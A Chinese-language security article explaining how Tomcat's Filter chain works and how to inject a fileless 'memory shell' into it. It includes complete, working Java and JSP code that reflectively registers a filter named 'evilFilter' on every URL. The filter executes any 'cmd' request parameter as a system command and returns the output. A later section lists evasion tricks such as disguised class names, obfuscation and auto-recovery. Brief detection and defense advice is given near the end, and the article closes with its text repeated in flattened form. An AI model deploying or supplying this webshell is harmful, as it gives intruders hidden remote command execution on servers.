java Filter内存马
字数 2219 2025-08-11 08:36:20

Java Filter内存马技术详解

一、Filter内存马概述

Filter内存马是一种基于Java Servlet Filter机制的无文件Webshell技术,通过动态注册恶意Filter到Tomcat容器中,实现持久化控制。与传统的文件上传型Webshell不同,内存马无需在服务器上写入文件,具有更强的隐蔽性。

二、Filter机制原理分析

1. Filter工作流程

  1. 请求处理流程

    • 客户端向服务器发送HTTP请求
    • 服务器内部链式调用doFilter方法
    • 请求到达Web资源
    • 响应链式返回客户端
  2. FilterChain创建

    • StandardWrapperValve#invoke中利用ApplicationFilterFactory创建Filter链
    • 创建ApplicationFilterChain对象
    • createFilterChain方法先创建空filterchain,再将其添加到request对象中
  3. Filter匹配过程

    • 获取wrapper的父context(当前web应用)
    • 从context中获取所有filterMaps(过滤器与URL的映射表)
    • 根据请求路径在filterMaps中寻找匹配的filter名称
    • 通过addFilter将匹配的filterConfig添加到filterChain中

2. Filter执行流程

  1. 根据请求URL从context的FilterMaps中找出对应的Filter名称
  2. 根据Filter名称从FilterConfigs中寻找对应的FilterConfig
  3. 将找到的FilterConfig添加到FilterChain中
  4. 对于chain中的每个filterConfig:
    • 从FilterConfig中获取Filter实例
    • 调用Filter的doFilter方法

三、关键数据结构

在StandardContext中,有三个关键成员变量:

  1. filterConfigsMap<String, ApplicationFilterConfig>

    • 键(key)为过滤器名
    • 值(value)为filterConfig对象
    • 存放FilterDef和Filter对象等信息
  2. filterDefsMap<String, FilterDef>

    • 存放filterDef的数组
    • FilterDef存储过滤器名、过滤器实例等基本信息
  3. filterMapsFilterMap[]

    • 存放FilterMap的数组
    • FilterMap存储FilterName和对应的URLPattern

四、内存马注入技术实现

1. 获取StandardContext对象

// 获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();

// 反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

// 反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);

2. 创建恶意Filter

Filter filter = new Filter() {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始构造完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) 
        throws IOException, ServletException {
        
        // 命令执行逻辑
        String cmd = servletRequest.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader bufferedReader = new BufferedReader(
                new InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
};

3. 动态注册Filter

// 定义filter名称
String name = "filterDemo";

// 检查是否已存在同名filter
if (filterConfigs.get(name) == null) {
    // 创建FilterDef并设置属性
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);
    
    // 添加FilterDef到StandardContext
    standardContext.addFilterDef(filterDef);
    
    // 创建FilterMap并设置映射关系
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/a");  // 匹配的URL模式
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    
    // 将FilterMap添加到最前面
    standardContext.addFilterMapBefore(filterMap);
    
    // 创建ApplicationFilterConfig
    Constructor constructor = ApplicationFilterConfig.class
        .getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) 
        constructor.newInstance(standardContext, filterDef);
    
    // 将filterConfig添加到filterConfigs中
    filterConfigs.put(name, filterConfig);
}

五、完整JSP实现示例

<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.*" %>
<%@ page import="org.apache.catalina.Context" %>

<%!
class MaliciousFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}
    
    @Override
    public void destroy() {}
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
        throws IOException, ServletException {
        
        HttpServletRequest req = (HttpServletRequest) request;
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process p = Runtime.getRuntime().exec(cmd);
            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
            StringBuilder sb = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            response.getWriter().write(sb.toString());
            return;
        }
        chain.doFilter(request, response);
    }
}
%>

<%
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

// 获取filterConfigs
Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterConfigs = (Map) configs.get(standardContext);

// 定义filter名称
String filterName = "evilFilter";

// 检查并注入
if (filterConfigs.get(filterName) == null) {
    // 创建恶意Filter实例
    Filter filter = new MaliciousFilter();
    
    // 创建并配置FilterDef
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(filterName);
    filterDef.setFilterClass(filter.getClass().getName());
    
    // 添加到StandardContext
    standardContext.addFilterDef(filterDef);
    
    // 创建FilterMap
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(filterName);
    filterMap.addURLPattern("/*");  // 匹配所有URL
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    
    // 添加到最前面
    standardContext.addFilterMapBefore(filterMap);
    
    // 创建并添加FilterConfig
    Constructor constructor = ApplicationFilterConfig.class
        .getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) 
        constructor.newInstance(standardContext, filterDef);
    
    filterConfigs.put(filterName, filterConfig);
    out.println("Inject Success!");
} else {
    out.println("Already Injected!");
}
%>

六、技术要点总结

  1. StandardContext获取

    • 通过ServletContext → ApplicationContext → StandardContext的反射链获取容器核心对象
  2. 三大关键数据结构

    • filterDefs:存储Filter定义信息
    • filterMaps:存储Filter与URL的映射关系
    • filterConfigs:存储Filter运行时配置
  3. 注入流程

    • 创建恶意Filter实现类
    • 通过FilterDef封装Filter定义
    • 通过FilterMap建立URL映射
    • 通过ApplicationFilterConfig创建运行时配置
    • 将以上三个部分分别添加到StandardContext的对应属性中
  4. 持久化原理

    • StandardContext会一直保留到Tomcat生命周期结束
    • 每次请求都会将匹配的filter加入到filterchain中执行

七、防御与检测

1. 检测思路

  1. Filter名称检测

    • 检查是否存在可疑的Filter名称
    • 如随机字符串、非常规命名等
  2. 类名检测

    • 检查Filter对应的类名是否合理
    • 是否存在于正常业务中
  3. 类来源检测

    • 检查Filter类是否在classpath下
    • 是否为动态生成的类
  4. 配置文件检查

    • 检查web.xml中是否存在该filter声明
    • 内存中的filter是否与配置文件一致

2. 防御措施

  1. 禁用反射

    • 通过SecurityManager限制反射调用
  2. 权限控制

    • 严格控制应用对容器内部对象的访问权限
  3. 运行时监控

    • 监控Filter的动态注册行为
    • 建立Filter白名单机制
  4. 代码审计

    • 检查JSP等动态页面中的可疑代码
    • 特别关注反射和类动态加载操作

八、高级技术延伸

  1. 内存马免杀技术

    • 使用正常业务类名伪装
    • 将恶意代码分散到多个方法中
    • 采用加密或混淆技术
  2. 多级代理技术

    • 通过多级Filter代理隐藏真实恶意Filter
    • 采用条件触发机制
  3. 无反射实现

    • 通过JNDI或其他方式避免使用反射
    • 利用Tomcat内部API直接调用
  4. 持久化技术

    • 利用Tomcat生命周期事件实现自动恢复
    • 通过线程注入实现无Filter内存马

九、总结

Filter内存马技术利用了Java Servlet规范中Filter机制的灵活性,通过动态注册方式实现无文件持久化控制。理解其技术原理不仅有助于安全研究人员进行防御,也能帮助开发人员编写更安全的代码。防御此类攻击需要从多个层面入手,包括但不限于代码审计、运行时监控和权限控制等。

Java Filter内存马技术详解 一、Filter内存马概述 Filter内存马是一种基于Java Servlet Filter机制的无文件Webshell技术,通过动态注册恶意Filter到Tomcat容器中,实现持久化控制。与传统的文件上传型Webshell不同,内存马无需在服务器上写入文件,具有更强的隐蔽性。 二、Filter机制原理分析 1. Filter工作流程 请求处理流程 : 客户端向服务器发送HTTP请求 服务器内部链式调用doFilter方法 请求到达Web资源 响应链式返回客户端 FilterChain创建 : 在 StandardWrapperValve#invoke 中利用 ApplicationFilterFactory 创建Filter链 创建 ApplicationFilterChain 对象 createFilterChain 方法先创建空filterchain,再将其添加到request对象中 Filter匹配过程 : 获取wrapper的父context(当前web应用) 从context中获取所有filterMaps(过滤器与URL的映射表) 根据请求路径在filterMaps中寻找匹配的filter名称 通过 addFilter 将匹配的filterConfig添加到filterChain中 2. Filter执行流程 根据请求URL从context的FilterMaps中找出对应的Filter名称 根据Filter名称从FilterConfigs中寻找对应的FilterConfig 将找到的FilterConfig添加到FilterChain中 对于chain中的每个filterConfig: 从FilterConfig中获取Filter实例 调用Filter的doFilter方法 三、关键数据结构 在StandardContext中,有三个关键成员变量: filterConfigs : Map<String, ApplicationFilterConfig> 键(key)为过滤器名 值(value)为filterConfig对象 存放FilterDef和Filter对象等信息 filterDefs : Map<String, FilterDef> 存放filterDef的数组 FilterDef存储过滤器名、过滤器实例等基本信息 filterMaps : FilterMap[] 存放FilterMap的数组 FilterMap存储FilterName和对应的URLPattern 四、内存马注入技术实现 1. 获取StandardContext对象 2. 创建恶意Filter 3. 动态注册Filter 五、完整JSP实现示例 六、技术要点总结 StandardContext获取 : 通过ServletContext → ApplicationContext → StandardContext的反射链获取容器核心对象 三大关键数据结构 : filterDefs:存储Filter定义信息 filterMaps:存储Filter与URL的映射关系 filterConfigs:存储Filter运行时配置 注入流程 : 创建恶意Filter实现类 通过FilterDef封装Filter定义 通过FilterMap建立URL映射 通过ApplicationFilterConfig创建运行时配置 将以上三个部分分别添加到StandardContext的对应属性中 持久化原理 : StandardContext会一直保留到Tomcat生命周期结束 每次请求都会将匹配的filter加入到filterchain中执行 七、防御与检测 1. 检测思路 Filter名称检测 : 检查是否存在可疑的Filter名称 如随机字符串、非常规命名等 类名检测 : 检查Filter对应的类名是否合理 是否存在于正常业务中 类来源检测 : 检查Filter类是否在classpath下 是否为动态生成的类 配置文件检查 : 检查web.xml中是否存在该filter声明 内存中的filter是否与配置文件一致 2. 防御措施 禁用反射 : 通过SecurityManager限制反射调用 权限控制 : 严格控制应用对容器内部对象的访问权限 运行时监控 : 监控Filter的动态注册行为 建立Filter白名单机制 代码审计 : 检查JSP等动态页面中的可疑代码 特别关注反射和类动态加载操作 八、高级技术延伸 内存马免杀技术 : 使用正常业务类名伪装 将恶意代码分散到多个方法中 采用加密或混淆技术 多级代理技术 : 通过多级Filter代理隐藏真实恶意Filter 采用条件触发机制 无反射实现 : 通过JNDI或其他方式避免使用反射 利用Tomcat内部API直接调用 持久化技术 : 利用Tomcat生命周期事件实现自动恢复 通过线程注入实现无Filter内存马 九、总结 Filter内存马技术利用了Java Servlet规范中Filter机制的灵活性,通过动态注册方式实现无文件持久化控制。理解其技术原理不仅有助于安全研究人员进行防御,也能帮助开发人员编写更安全的代码。防御此类攻击需要从多个层面入手,包括但不限于代码审计、运行时监控和权限控制等。